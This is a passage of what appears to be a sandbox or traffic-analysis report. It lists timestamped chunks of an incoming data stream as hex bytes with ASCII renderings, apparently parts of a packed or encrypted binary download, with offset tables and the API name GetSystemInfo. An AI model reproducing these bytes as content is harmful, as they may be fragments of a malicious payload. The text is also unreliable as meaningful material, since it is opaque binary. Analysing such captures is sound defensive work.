83 10 6a bc e8 27 08 08 00 30 6d d9 b4 b5 32 b5 Data Ascii: hFyBs-3QC\|%*?94VT{V'C0j"FX!#3j}`11KE)hA'#i~V}pm;/;sDP1tVtKt"~PVVj1\|([{>]{eKTOBj'0m2
2023-05-10 00:21:17 UTC	448	IN	Data Raw: 78 47 ff 41 4c 05 b7 0b b9 17 00 e3 68 a3 74 e1 f9 f4 77 b5 7e 0d cb ef 77 a4 16 e9 f7 57 35 dd f3 b6 f1 ac 0b e3 0f 2e c8 59 97 83 e3 fa 70 a6 e3 9d 55 af 57 74 a3 51 92 a3 8a b8 ac c1 94 eb f0 30 e3 4d 84 43 b8 00 b1 6e bd df 83 4a 52 f8 5e ee c5 6e a1 85 67 1d 8a c3 07 6a 7e f0 d5 da ca 5d 35 5c 29 7f 84 a2 fc d8 16 e4 52 ca ad 48 68 2e 18 18 30 1b c2 ba 3b e4 f1 e1 96 9b 51 f2 14 fe 5a 41 79 b6 21 2e 07 9d d8 81 aa 2b b2 9b 1f bb 74 c5 62 c2 e4 f9 d1 ad f0 d3 be 75 78 0e 2f 7d 36 86 c3 67 9e 2c a8 c5 ba c8 d9 ca 82 d2 20 f0 62 b9 1a 18 68 28 16 6a eb 2c 76 b8 c8 84 4e 0a 08 bd cb 2d ed 33 8b b9 e9 24 12 27 01 e6 12 88 31 d8 a5 fb 99 fe c9 f7 b9 bd e5 6d c0 6a d0 0d 25 72 84 6f 7d 12 f1 b6 ec ef 09 9b bd 8d 78 88 76 cd 51 15 d0 47 a3 d3 f4 46 cd 04 94 Data Ascii: xGALhtw~wW5.YpUWtQ0MCnJR^ngj~]5\)RHh.0;QZAy!.+tbux/}6g, bh(j,vN-3$'1mj%ro}xvQGF
2023-05-10 00:21:17 UTC	464	IN	Data Raw: 20 09 03 28 18 77 17 e1 63 20 3d 03 ea f9 8d 54 92 38 65 5f ff a0 a4 a6 99 57 be cd 5a ba f0 4f dc e6 56 70 f2 54 bd c9 10 37 34 e1 38 12 9a b2 69 8a 45 17 83 14 3d 9d 55 76 a0 64 dc dc b1 dd 45 82 4e 4b 9b 83 ef 52 01 35 93 da e7 a1 71 41 a8 a9 33 44 eb 81 1a f7 16 49 ab 68 84 ca 89 69 88 39 2a 37 a8 79 3b a5 71 e6 66 a7 7b 29 f5 98 a5 b4 a9 6f c1 a2 06 b0 64 cf 16 4d f6 f3 d9 9c a4 5e 56 ca d5 b5 89 cc 8e a0 8d a6 81 e6 df 5d d6 2e 53 15 fd 4f a2 d3 c8 a7 c9 3f 35 c8 4f 3d 44 ed 50 36 f0 b6 fa a5 09 66 5b 7c 9c 01 ff 2d 0a b0 9a cd 52 50 96 62 40 c3 4f 6c 50 60 d5 9b 1d 34 ab 89 78 f2 06 b2 93 c1 a2 f8 4f 8c 65 f1 fc 1a 78 81 5b 1e 1d ae aa 86 fa d2 c7 8b a2 a2 cd 92 74 e0 aa 6a ff 74 85 23 40 c9 06 7b dc a3 98 83 83 63 ae 0d 48 7a fc 8c a5 c8 81 a3 13 Data Ascii: (wc =T8e_WZOVpT748iE=UvdENKR5qA3DIhi9*7y;qf{)odM^V].SO?5O=DP6f[\|-RPb@OlP`4xOex[tjt#@{cHz
2023-05-10 00:21:17 UTC	480	IN	Data Raw: 4e 50 b5 00 00 00 00 00 f4 e6 05 01 00 00 00 00 04 27 ca 00 00 00 00 00 86 9b 04 01 00 00 00 00 d0 65 ce 00 00 00 00 00 36 99 cd 00 00 00 00 00 26 2a 01 01 00 00 00 00 9c 9b 04 01 00 00 00 00 8c a7 b6 00 00 00 00 00 88 2e 05 01 00 00 00 00 96 db d0 00 00 00 00 00 ba bb ca 00 00 00 00 00 dc 3d cf 00 00 00 00 00 a0 f7 d0 00 00 00 00 00 a8 42 ff 00 00 00 00 00 e0 01 d0 00 00 00 00 00 f4 6a ca 00 00 00 00 00 b4 a2 05 01 00 00 00 00 2c 8b 00 01 00 00 00 00 32 80 b6 00 00 00 00 00 b6 1c 05 01 00 00 00 00 68 82 cf 00 00 00 00 00 1c a4 b5 00 00 00 00 00 a8 8c cf 00 00 00 00 00 a2 23 03 01 00 00 00 00 b4 a9 ca 00 00 00 00 00 d0 63 b5 00 00 00 00 00 96 aa 00 01 00 00 00 00 32 13 b6 00 00 00 00 00 88 db cf 00 00 00 00 00 2e 9b ad 00 00 00 00 00 30 ce b4 00 00 00 00 Data Ascii: NP'e6&*.=Bj,2h#c2.0
2023-05-10 00:21:17 UTC	496	IN	Data Raw: 2f 66 5c 73 0d 46 9a ee 78 0d 84 75 f6 8b f2 2c 6d e1 8e f2 dc 82 5b 88 f2 75 b4 6b 7a 0d d8 84 c1 49 d3 ed 4e 92 af cd 50 0a d5 fb 58 30 4d d4 04 2c 0e 65 44 ba f1 8f fb f5 2f 62 95 f3 62 51 ae b0 67 0d 87 a2 2e 97 96 1d d8 02 a4 51 e3 c7 cd af 60 5a f9 3a b8 9f 5d bb 15 92 a4 15 c5 68 d3 3f 04 66 00 94 3e fb e2 f6 bc ae 45 59 37 22 1f d0 fc 05 2a 88 ae 90 a8 be e7 78 00 ae 4e 7c e2 68 c2 7d bb 1c 3b b3 c3 4b 80 6e 03 c6 b3 7f a8 f4 99 b4 3e 6f 9e 27 b5 67 dd d5 4f 80 ff d5 37 bc be 01 cc b1 7f 0e 2f 1c 46 c7 5f d2 63 72 2d 49 51 79 8d 4f a1 7f 34 d2 75 1a 0f d0 9f a7 58 c7 4a 26 a0 7f 09 04 0c af be e1 4a 8a b7 0b 60 a7 7f 93 8b 03 53 41 2d cd f3 ba 25 e8 16 de da 72 b2 4f b3 fa d5 2e 7e 3a 2e 26 64 a2 ae 45 66 bf 57 5e d6 6e 84 64 d4 e9 d1 8d b8 96 02 Data Ascii: /f\sFxu,m[ukzINPX0M,eD/bbQg.Q`Z:]h?f>EY7"*xN\|h};Kn>o'gO7/F_cr-IQyO4uXJ&J`SA-%rO.~:.&dEfW^nd
2023-05-10 00:21:17 UTC	512	IN	Data Raw: ef af f6 2d 8a 56 9f b4 30 10 31 a1 b4 54 51 a7 0b aa 18 d2 33 2f a9 98 72 f0 e3 5e 10 7f 46 13 78 a9 e9 06 d0 ef 16 ad 1f 51 b9 92 34 b6 98 37 75 63 45 e7 08 6c eb db ef 80 85 54 45 6d 02 1d a2 98 77 ba 1b 4e 67 33 85 86 a9 ef 83 cf 68 7e cc 0c 8a fb 27 10 b0 c4 c8 8b 33 32 a6 e1 d7 ef 99 e5 03 76 32 ff 71 ed d1 ef 63 07 94 70 32 b2 36 19 55 10 37 ad 52 5d 81 97 23 2c 10 c3 4b 09 2f 10 b0 b0 23 b0 58 ef b1 77 cc ac b6 e5 38 10 5d d5 70 b2 18 78 e1 cc 6b fc 81 34 10 77 7d 7b a0 b8 7f 00 9b cd 4a 94 e4 42 27 da 24 1a c0 18 93 88 4d 04 85 ea 8b 5c 48 12 c3 d4 78 89 5b 2b d6 55 88 ff fa 40 d8 77 dc 2e 10 a8 77 cb cc 01 26 88 77 cf 2b 28 88 2d 94 f6 dc 77 0f a6 77 a0 77 b6 6c 22 38 88 81 e6 96 2d 88 6a a7 e8 de 77 0a d7 c9 a6 77 c1 d9 5b df 77 e3 96 80 2c 88 Data Ascii: -V01TQ3/r^FxQ47ucElTEmwNg3h~'32v2qcp26U7R]#,K/#Xw8]pxk4w}{JB'$M\Hx[+U@w.w&w+(-wwwl"8-jww[w,
2023-05-10 00:21:17 UTC	528	IN	Data Raw: 62 b2 98 9d 91 1b f6 ce 24 14 e3 8a ed fe 8d e4 29 dc b8 2d b6 e3 cf 35 85 ea f9 97 1a 89 42 49 1a 04 9f 24 08 3f a2 2a 58 11 0c 04 6c 24 22 17 d2 42 3e 7f 5c c3 fc 5f 2c 37 40 6a ea ff 3f f3 7e 54 42 fb 05 f8 17 0f 21 fe 73 5b cb 4d d4 55 4c 0b dd 5b 24 3e ec ed 31 ec 4e d5 01 03 81 93 d5 4d 02 37 0a fc da 1e e5 5a dc dc 1f 04 74 72 b3 68 57 45 5e 31 43 de c9 a7 fa 95 b3 ea d1 7f e8 76 fd 09 64 9b 9b 06 7b b4 2f de 41 39 41 54 3d d6 6b 9c e1 6f 15 e2 91 9a 4b 0c 3e 0a 8b f6 1d 04 c5 dc 92 af 71 e1 2b 88 0c a2 74 8e 77 e2 54 42 c5 31 64 30 6c 97 f1 03 6c aa c3 43 6b bf fd 51 2d da ad 47 c4 37 72 6d a2 60 9c 7c 0c dc 11 eb e9 88 ab 25 66 b8 7c 23 47 8c bd eb 27 84 07 47 98 ea f0 c5 60 92 bd e1 43 30 c2 4d 4b 80 97 fb 2a 4d 3e 08 84 75 47 74 ad 22 bb 8c 58 Data Ascii: b$)-5BI$?Xl$"B>\_,7@j?~TB!s[MUL[$>1NM7ZtrhWE^1Cvd{/A9AT=koK>q+twTB1d0llCkQ-G7rm`\|%f\|#G'G`C0MKM>uGt"X
2023-05-10 00:21:17 UTC	544	IN	Data Raw: 65 28 c0 3f 62 9a a1 51 1c 99 65 28 ac e6 60 64 0e 86 cd 6d 9a fc 00 57 94 9b f4 18 8c 96 9b f5 53 82 31 b8 b5 1f cd d3 47 f2 d7 01 5f af f7 da 67 65 dc 56 33 b5 47 ed 1f 64 54 cf e5 3c ce ed 7f 6f 36 b8 4f 0a 2d a9 50 bd 90 90 9b a6 37 a1 d0 92 35 92 19 68 88 05 56 e7 90 cf fd 06 0f 84 85 53 6c 7e 1f 6a 0c 65 2a 88 89 1e 1b 2c 88 14 09 c0 df 77 1f c5 90 af 77 20 67 81 21 88 bb 94 ab 2f 88 71 6f 76 db 77 e3 f5 f7 a7 77 f2 a7 a2 3f 88 4d fd 16 2a 88 11 ec 68 d9 77 01 bc 49 a1 77 bd 4a db d8 77 70 05 00 2b 88 33 f9 50 5b 88 2c 23 41 d5 77 ff 90 6b db 77 72 ab b6 2f 88 27 11 37 53 88 16 88 e4 58 3a 85 3f fe 42 6c c0 cf f3 42 59 fd 8f f3 bc af 1b 0d 0f 43 ea 6a 2e f4 bc 67 df d4 0d bd 05 a5 ff 00 43 f3 1b 65 f9 42 eb 0b be fb 42 fa 76 cc fa bc 7f 83 6c 08 bd Data Ascii: e(?bQe(`dmWS1G_geV3GdT<o6O-P75hVSl~je,ww g!/qovww?MhwIwJwp+3P[,#Awkwr/'7SX:?BlBYCj.gCeBBvl
2023-05-10 00:21:17 UTC	560	IN	Data Raw: 34 db 92 25 25 82 89 11 da 12 82 04 64 da 3a 6c 9a 5c da 11 b2 24 d4 25 43 f3 1e 48 da 0a 39 81 ba 25 39 76 89 f6 25 4a dd 9f 89 25 04 51 8c 4c da 84 44 d6 92 25 00 ba 56 9c 25 8f 34 04 1f da 1c 64 89 6a da f8 b2 17 52 da 8f 74 c7 8c c5 00 00 00 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 00 68 21 80 c5 a1 e8 b1 12 58 00 cf e5 d7 2d 3d 69 6a 2a d2 b8 44 90 d3 d3 46 ae bb de 2d 7c f8 21 27 2c 84 30 fa 25 2c 65 85 88 24 d2 88 78 28 d6 d3 ae 16 3d c4 d3 25 c9 6b c4 d3 24 bc 2b c4 2d f6 6a a9 38 d2 c7 63 8a c3 2d 46 e6 70 3a 2c 44 cc 5b 37 d2 aa 52 c1 ce d3 52 e2 1a cc d3 27 b7 68 cd 2d 2e a2 c8 3f 2c 60 c4 dd 2d 2c 0f 19 fd 76 f0 52 e3 af 85 0f 68 a3 18 14 a7 20 28 2c 2c 9a 7a f7 73 f0 d7 e2 74 ea 58 6d 5f 76 17 45 05 02 f0 28 ca 8c e6 18 9d 8c 21 2c 3a a1 1f 40 Data Ascii: 4%%d:l\$%CH9%9v%J%QLD%V%4djRtGetSystemInfoh!X-=ij*DF-\|!',0%,e$x(=%k$+-j8c-Fp:,D[7RR'h-.?,`-,vRh (,,zstXm_vE(!,:@
2023-05-10 00:21:17 UTC	576	IN	Data Raw: 47 4d 27 08 52 b4 5c 44 fa 56 56 60 a9 9f 16 42 80 3d ab 53 cd 4f bd d9 15 c6 39 fe 5c cd ad 15 56 90 2e 25 fc 59 0d 5f 71 6a e7 5a e9 d8 ad 72 68 76 45 c6 28 43 8c 52 2d ab b7 92 4a d7 29 d5 63 54 42 8d a9 52 3a ca 78 9d ba 7a 8a 1a ab 8f 42 64 cd f6 f3 51 b4 fa 85 07 72 22 d4 c1 12 a5 29 71 ac a0 04 20 bd 46 09 e1 39 c3 bc a2 75 f6 be 9a 7e 9d eb 94 52 0b 03 6d 45 7e dd c0 96 ae 1a 98 e8 ec 3f cf be 34 88 f7 80 e1 90 5a 81 6e f9 99 9a 75 08 1e a9 32 d3 5d e8 c3 8a 0a cf 63 25 c8 49 fb 0e ff 0b 89 35 c1 cf 1d 63 85 97 aa 4c 5e 4d da f8 1d 3c b7 d3 e4 c9 33 96 c6 71 6d 14 c9 81 f9 e0 2a 37 10 8c b3 f1 44 e2 90 1c 98 fd 53 61 7c 8d 15 d1 4d dc 87 f1 e9 88 43 3b c0 87 83 83 d4 2d 49 7d dc a7 ac cc 85 63 8a 31 07 7c fc b0 99 87 87 a3 2f 78 b3 8d 63 13 5f 73 Data Ascii: GM'R\DVV`B=SO9\V.%Y_qjZrhvE(CR-J)cTBR:xzBdQr")q F9u~RmE~?4Znu2]c%I5cL^M<3qm*7DSa\|MC;-I}c1\|/xc_s
2023-05-10 00:21:17 UTC	592	IN	Data Raw: 15 a6 6e 97 a1 e8 1f 24 21 16 e4 fb 94 f9 67 98 cf f8 e1 9a 76 96 41 fa 60 5e 26 10 9e 32 f6 a1 7a 82 a1 23 07 0d 7a 07 a2 61 66 32 e8 18 f3 ca 7a 7e 74 7c 8c 23 5a 35 7e b3 51 ab 34 3b 21 a2 4f 95 87 76 b1 3a b6 e9 ba 5f 92 05 50 b8 2c da 16 9e 70 95 a8 58 f7 74 94 18 ad d4 0b f5 17 9e 3e 82 ec c3 5e 09 ec f8 15 df 15 35 10 3c 20 ef cf a2 8f dc 70 fc ab a8 a7 b0 ac ad 0e 13 a7 52 36 ef c8 bf 77 c2 f0 bc 6c 54 8e 04 58 b2 76 01 67 37 1e 1a 29 57 af 4a de 5e d7 e8 6a c2 14 b1 43 dd 5d ea 31 20 f3 4f 58 82 dc dc 24 51 a5 a7 2c fc 57 03 13 bf 92 cc e2 c8 3f 37 38 fd bc 70 ac 74 09 58 56 b6 fb 6a 37 ce fa d5 de b7 72 8d 1c 43 2e e3 1d 20 88 1c b1 e0 30 ad 40 14 9b 1d 31 81 45 13 c5 7b ff b3 0e a6 35 8f a3 ca 00 b2 c2 7e e4 50 c3 25 59 41 08 5b 9b 4e d7 66 a9 Data Ascii: n$!gvA`^&2z#zaf2z~t\|#Z5~Q4;!Ov:_P,pXt>^5< pR6wlTXvg7)WJ^jC]1 OX$Q,W?78ptXVj7rC. 0@1E{5~P%YA[Nf
2023-05-10 00:21:17 UTC	608	IN	Data Raw: 1d 3f 26 82 fc 34 b5 51 c3 07 61 2c 79 97 42 7d a7 8e 06 bf 13 61 98 4e 76 8e 96 13 41 6c 41 64 20 a5 cc fd 37 0f ed 5a 1a 66 da 23 82 7b e0 1c 85 13 b2 ec ed a4 e0 7d d0 18 86 26 78 1a 60 e3 86 66 b3 6f df 13 59 70 d9 9d 32 e4 48 0e a1 24 25 3e 3c 50 a5 a0 04 02 d4 ec 70 fb b7 0b 27 a2 c5 ea 3e 48 1e 4a f4 a3 f3 b7 2d 43 2c b8 ba a0 08 ff 22 bd b2 f9 31 89 4d e8 19 0b 6b b6 b7 62 29 33 5c 72 00 ae 9a e6 60 fb 49 92 96 52 3d ff 70 a1 7b b6 a9 2c a9 57 15 ff 8a e4 4d 0d c7 f0 a3 d0 60 7d c9 86 bf ec 3e 46 b9 ba a0 08 a4 41 2b 27 c6 0e a5 0c 42 bc d5 68 dc c5 10 a6 30 ae d7 95 bc 35 0b 38 8f 14 ec 71 2b ac be b8 5e 5f cb 58 8c f0 0c 34 a7 a3 47 07 cb b8 ac df 6a 3d ef b9 01 6f 4b 58 de b9 ae b9 cc ac 12 58 bf 7f b7 c6 42 b5 e3 43 a5 bb b1 b5 1e 5b c9 ab 4b Data Ascii: ?&4Qa,yB}aNvAlAd 7Zf#{}&x`foYp2H$%><Pp'>HJ-C,"1Mkb)3\r`IR=p{,WM`}>FA+'Bh058q+^_X4Gj=oKXXBC[K
2023-05-10 00:21:17 UTC	624	IN	Data Raw: 77 d9 eb 89 a0 77 fd c5 1b d9 77 ef e2 c0 2a 88 d3 fe 90 5a 88 0b 14 81 d4 77 c8 a7 ab da 77 32 74 76 2e 88 f8 ee f7 52 88 d9 6f 24 59 3a 9f 66 92 9f 14 94 ec 67 9e a2 f6 c7 6a 60 90 68 5d 93 61 08 98 86 91 61 41 f5 f4 90 9f 10 b8 54 62 9e 3e b6 41 70 9e ed 79 17 70 9e 1c fc 57 70 60 e6 4a d5 8c 9f 93 0b f6 77 60 da 26 0c 8e 61 cc 7c 27 83 9f 0e ea bd 7a 9e f2 4a 66 78 9e 2f df 14 79 60 16 aa b4 8b 61 30 bc a1 99 61 1f 83 f7 99 61 1a 42 00 da bd a8 df fc cc bd 23 a0 18 50 15 d4 fd 97 61 b2 74 af d9 bd 97 3c c2 5f 15 eb ed 35 42 9d a9 e9 dc 1c fc 91 90 8a dd 21 0a 2d 67 f2 44 42 13 c4 7c 5b e3 1c dd 98 9f 87 75 6e 3a 42 fa 11 2d a7 ca 13 07 ad dc 0b be b3 bd de 8a 2a 4e 55 eb 66 8b 61 a6 f0 1a fc 9e 1a e8 fd 6d e1 f7 de ef 60 cf 6f 3d 9b b5 cc 0f a0 0f 51 Data Ascii: wwwZww2tv.Ro$Y:fgj`h]aaATb>ApypWp`Jw`&a\|'zJfx/y`a0aaB#Pat<_5B!-gDB\|[un:B-NUfam`o=Q
2023-05-10 00:21:17 UTC	640	IN	Data Raw: 07 49 9f 62 02 14 42 d4 0c 2b 75 6b b5 f7 2b 62 23 ae 80 99 d5 7b 71 77 22 c0 02 14 25 36 0f 3f bc 96 ef a9 0d 4b 9e 73 63 10 af 54 10 5c 0d 63 b1 9a e4 8f f1 06 81 bb 1b 69 0d 80 9d 17 d8 06 0b d4 91 c8 74 1e 7e 4b 94 63 f0 32 b5 b1 0e 2e 7d 41 76 2a 34 9f d0 96 48 02 13 84 24 25 5d 53 2a e6 0c 63 b1 9a d6 09 86 99 a6 e7 d6 c0 36 0c d5 8a 71 32 34 94 75 c6 88 02 6f 9f 24 98 76 0a ee 89 25 ea 28 bb 33 f1 16 84 99 7d ca 4c 0f 7b 14 70 35 f2 c2 6c 60 d9 f6 43 a9 50 c4 90 3d 0d 63 b1 9a d7 88 4b 11 4c 20 5d f4 a3 19 ba 30 65 fb 4d 9a 39 8a 01 ad 97 c1 7e 60 0f bc 11 f3 50 f5 2c 1d 5f 58 3b e3 72 b9 10 47 f4 03 41 ef d2 39 c8 b8 70 b8 3b 29 11 51 6d 13 4a 8f 47 c5 89 f4 8f bd 73 be 30 5b a8 c7 a0 6a 00 82 35 9d 8f db 95 90 aa ac c9 b2 aa 50 42 f2 b6 51 a7 cb Data Ascii: IbB+uk+b#{qw"%6?KscT\cit~Kc2.}Av4H$%]Sc6q24uo$v%(3}L{p5l`CP=cKL ]0eM9~`P,_X;rGA9p;)QmJGs0[j5PBQ
2023-05-10 00:21:17 UTC	656	IN	Data Raw: e6 18 a6 18 87 03 3d 31 b0 7b 5e f4 c3 91 85 0c b2 7b 7e c1 b8 a6 e0 11 f6 f4 0d c0 de 9c 68 f7 3e 64 0a a1 1d f6 87 6a db e2 c7 e8 c8 0c a1 7e db 59 11 0e e6 18 aa 7f 9c b3 ab 56 66 1c 2f cb 94 c7 62 45 1b ec a5 db e9 18 d6 c8 ec da e0 c1 e7 e4 57 da db 77 9d cd 3b d3 fd 31 02 06 4b 33 e7 f7 8d 45 f4 7a f4 0f e6 18 8a a9 06 25 93 c1 05 9a 24 63 9c 30 98 eb 47 2b 57 30 ac d2 df 3b 07 f0 d2 92 8e dc 8b df cf 35 2a 26 07 67 c0 f0 78 51 30 29 d8 59 34 07 bb 4c 0e 01 87 0e 51 30 25 41 c1 c2 18 7e 3a fd ed 59 56 94 af b0 d8 95 7d e0 0e e6 18 82 de 47 02 7d a1 3c 2c 27 b0 b2 56 69 e6 70 3c e6 c3 04 f1 92 8e f4 64 2b 94 98 da 69 1c 3c 09 04 40 8b f4 5a 99 4d e0 23 be 65 18 98 6e ae 1e 45 79 a8 bc df f9 c3 c6 f4 64 98 f4 e2 dd fc 92 22 c6 74 3c c9 40 70 93 54 77 Data Ascii: =1{^{~h>dj~YVf/bEWw;1K3Ez%$c0G+W0;5*&gxQ0)Y4LQ0%A~:YV}G}<,'Vip<d+i<@ZM#enEyd"t<@pTw
2023-05-10 00:21:17 UTC	672	IN	Data Raw: e1 99 95 b9 d9 61 fa 3b f3 6b d2 06 64 90 62 f5 7d b8 08 64 53 c9 0b e6 ff b2 12 53 73 0b ad 66 30 e0 47 59 82 52 6a c8 3a ed 7a f6 e0 0a 75 d6 d2 97 8a 32 7e fe dd ec 99 f5 49 23 6c fa 83 93 b6 9c 8e ff c1 25 07 11 a4 58 30 ad 45 09 23 1d 31 cc 70 ab c5 7b 1a ee b6 a6 35 c2 f6 72 00 b2 76 db 5c 50 c3 d1 54 f9 08 5b c7 eb 6f 66 a9 47 a2 ac 66 7b 88 1c c2 38 3d 98 5c e9 d4 77 22 ce 14 c4 52 af 23 6f e9 ce f6 52 e7 31 84 c8 b4 fa 52 ca c9 04 3e f4 4d a5 b9 10 a4 3c 22 fe b5 fc a4 0c f1 2e 9d 6d d4 21 e2 06 a1 c0 d8 6a 0e cd f2 33 c9 56 8c 6c 77 8a 84 f7 c4 f4 fa 72 b1 ad 82 d8 18 e1 b4 12 76 31 35 ef 4f 27 7b c2 15 65 f7 2d 58 76 4d 19 76 b0 fa b3 af 4d 42 ff 5b 0f d2 89 28 fd 5d 96 45 e2 df dc 5e 0d 46 b0 aa a7 8b ae 21 91 2a 70 61 df c8 b4 76 7b a9 f0 ff Data Ascii: a;kdb}dSSsf0GYRj:zu2~I#l%X0E#1p{5rv\PT[ofGf{8=\w"R#oR1R>M<".m!j3Vlwrv15O'{e-XvMvMB[(]E^F!*pav{
2023-05-10 00:21:17 UTC	688	IN	Data Raw: 5b 53 7d 73 d2 58 d6 96 88 d9 49 6b 86 8c ea 6a ca 93 75 77 dd 70 73 ea b3 0e 72 73 02 28 cb 7e b2 1e 8b 6c 57 85 15 c9 8f 8c 77 dd bc 61 b2 e6 45 ce 42 f1 64 68 73 ee a5 9d 60 b2 bb bc f4 a2 20 13 db 0e d6 6f be ef b3 84 94 22 6e 5f 36 e3 68 e2 ec 7f 6a 3e c4 95 22 09 85 8d f2 84 c9 19 76 0d 72 b7 75 7e 0d 91 f0 1e 7d 0d 0c fc ea 7e 0d 7c dd a0 8e f2 0d 99 12 85 f2 87 76 0a 76 0d 2f fe 1d 73 0d 4f f1 a7 75 0d 16 ff 97 87 f2 83 fd 1b 8b f2 ca 3f 95 7d 0d 94 c9 f9 75 0d ef ae 92 76 0d 42 ca 66 75 0d 4a 8b 2c 85 f2 ab 37 9e 8e f2 59 f0 86 7d 0d b9 1b df c7 c5 8c fb e1 72 60 97 04 48 dc 74 52 90 27 0a 4e c4 60 bc 90 00 b0 53 7b 6e 85 bf 58 4a d7 03 e8 4f b5 d0 ff 4f 65 8e 98 cf 72 24 15 89 84 ba 63 14 76 9a b4 4b 84 c8 bd fd d5 35 5d 04 f7 dd a2 23 cc d2 49 Data Ascii: [S}sXIkjuwpsrs(~lWwaEBdhs` o"n_6hj>"vru~}~\|vv/sOu?}uvBfuJ,7Y}r`HtR'N`S{nXJOOer$cvK5]#I
2023-05-10 00:21:17 UTC	704	IN	Data Raw: 07 5c a4 95 af 07 41 7e cb 39 af 49 5a fe 25 28 78 ff d4 07 0e 61 5b 3b cf 93 b2 c2 1b cf ba 21 f8 e8 9b 61 c6 30 6c 76 01 24 78 b9 9d d4 f9 8a a3 8c d7 3d 78 c6 7d b9 83 01 cc 3b 43 e6 e6 2c e4 33 bc 31 04 dc 77 45 32 9d d3 77 be 33 e3 20 88 a9 bb c2 58 88 ca 05 50 21 88 3f 4a 8b d2 77 6b 0e db a2 77 ec 4c ca 2c 88 97 5f e0 22 88 ba 84 3d d6 77 1f f6 bc aa 77 c6 0c e9 32 88 e1 86 5d 27 88 7a df 23 d4 77 52 9f 02 ac 77 9e 29 90 d5 77 23 3e 4b 26 88 1f 2a 1b 56 88 d8 60 0a d8 77 9c 66 6b 48 6b f2 de bb c6 ee c2 67 bc c6 1d 4b cd 47 39 74 86 bd 4a 79 6e 95 58 ba 46 d5 6a f6 bc 06 6a 2f 04 a8 86 0c 45 b8 56 39 bd 32 84 53 b9 30 67 f7 ac c6 d5 fd 64 ac 06 e3 d8 57 a5 06 08 f4 97 a2 c6 52 f5 3d 59 39 7b a8 4d 54 79 b8 f3 a8 a4 46 d3 2c 06 a2 06 65 b1 f4 b6 86 Data Ascii: \A~9IZ%(xa[;!a0lv$x=x};C,31wE2w3 XP!?JwkwL,_"=ww2]'z#wRw)w#>K&*V`wfkHkgKG9tJynXFjj/EV92S0gdWR=Y9{MTyF,e
2023-05-10 00:21:17 UTC	720	IN	Data Raw: 6c e9 2f fe 49 00 3c 53 bc 55 f2 52 c5 b8 55 06 8a 1e ba 55 eb 17 6c bb ab 1a ea cc 49 aa 40 dc d9 5b aa 67 d3 8f 5b aa 0e 86 cf 5b 54 c4 40 4d a7 ab 2d c9 6e 5c 54 34 dc 94 a5 55 36 86 bf a8 ab 20 98 25 51 aa f8 68 fe 53 aa b5 2d 8c 52 54 b0 30 2c a0 55 0e ee 39 b2 55 dd 31 6f b2 55 8c 24 2f b2 ab ca 3a ad 4e 54 97 99 81 6f 76 5e 49 b9 e3 89 f5 f5 b6 76 21 22 31 4e ab 06 16 0d 9d 89 f8 85 3b 7f 81 70 ce a0 28 6a 51 e9 89 0c e9 95 78 41 f7 53 40 aa 14 28 eb ef 38 95 d4 ca 59 33 d9 72 e4 00 f4 5e 38 0c 78 4e e8 ba 9d cb 65 a3 b7 22 88 06 4b 17 c0 77 b6 89 a3 d5 77 75 d0 dd 26 88 3a 40 fc 5e 88 46 76 6e 27 88 4c 49 b5 d4 77 68 5d e5 a4 77 b8 cf f4 2a 88 03 74 de 24 88 96 0f 03 d0 77 83 95 82 ac 77 85 7f d7 34 88 82 dd 63 21 88 21 c4 1d d2 77 49 84 3c aa 77 Data Ascii: l/I<SURUUlI@[g[[T@M-n\T4U6 %QhS-RT0,U9U1oU$/:NTov^Iv!"1N;p(jQxAS@(8Y3r^8xNe"Kwwu&:@^Fvn'LIwh]w*t$ww4c!!wI<w
2023-05-10 00:21:17 UTC	736	IN	Data Raw: c0 8c cf 00 00 00 00 00 d4 fb 02 01 00 00 00 00 72 2e 05 01 00 00 00 00 a0 46 b7 00 00 00 00 00 08 34 b4 00 00 00 00 00 dc d3 ca 00 00 00 00 00 76 b0 05 01 00 00 00 00 62 a6 01 01 00 00 00 00 ac 6b b4 00 00 00 00 00 36 f3 00 01 00 00 00 00 f2 7a ce 00 00 00 00 00 92 73 ca 00 00 00 00 00 e0 b4 ac 00 00 00 00 00 64 38 ce 00 00 00 00 00 0a f2 01 01 00 00 00 00 3c 55 cb 00 00 00 00 00 d8 f7 b5 00 00 00 00 00 ce 3d cf 00 00 00 00 00 fc 1e b6 00 00 00 00 00 4a a0 b6 00 00 00 00 00 62 50 b5 00 00 00 00 00 14 a7 d0 00 00 00 00 00 1c 9b ad 00 00 00 00 00 2e 40 ac 00 00 00 00 00 80 fe cd 00 00 00 00 00 a4 c5 ff 00 00 00 00 00 50 2f b3 00 00 00 00 00 ce ef b5 00 00 00 00 00 36 61 05 01 00 00 00 00 ec c4 cd 00 00 00 00 00 dc f6 fe 00 00 00 00 00 da 8f ca 00 00 00 00 Data Ascii: r.F4vbk6zsd8<U=JbP.@P/6a
2023-05-10 00:21:17 UTC	752	IN	Data Raw: 55 0d 30 30 9c a8 3b 06 65 67 27 fb b4 cb 4a cd ac 4f 0d 80 c3 88 56 6d 23 ad 2f cf 3e a2 73 29 68 5f d0 4a c8 c8 08 8e 5a 6f dd 1f 99 d5 8e 22 55 45 99 20 b7 94 f7 78 98 eb 63 3f 37 43 bb 4c 7d db 47 bd cb 5a 56 90 f7 60 a3 b0 c1 35 b6 b2 46 f1 03 f6 e0 85 e7 e5 a2 7d 7b 13 07 a6 bc 1a 9b ce bb c9 2a db 7e 51 02 5c 9c ca 5d 7f 2c a1 52 f5 05 77 f5 2f a3 37 00 bc ac 58 89 79 a5 43 d0 e0 37 6c 88 b8 df e9 2a 54 7f b2 7e b9 b9 5a 9b 31 7f 36 8a 2e 70 e2 49 0b 7e 3f 58 bc 80 75 73 7d 1a 37 77 51 a0 d5 b5 0c 27 90 d4 8e a4 df ed f9 4e 4f 8b 74 71 72 5e b8 a9 6b 39 de 9d 7d 2a 38 ef 21 42 90 51 6b 9b f1 20 00 25 36 f4 9d eb f0 b3 14 fa 6f ec 25 08 87 29 17 9c 40 a4 81 ee 99 6d 32 46 67 3d ad 14 00 15 ad 9d 9c 08 58 a8 20 83 05 c5 21 23 c0 ec a5 9c 4a b1 ad d3 Data Ascii: U00;eg'JOVm#/>s)h_JZo"UE xc?7CL}GZV`5F}{~Q\],Rw/7XyC7lT~Z16.pI~?Xus}7wQ'NOtqr^k9}*8!BQk %6o%)@m2Fg=X !#J
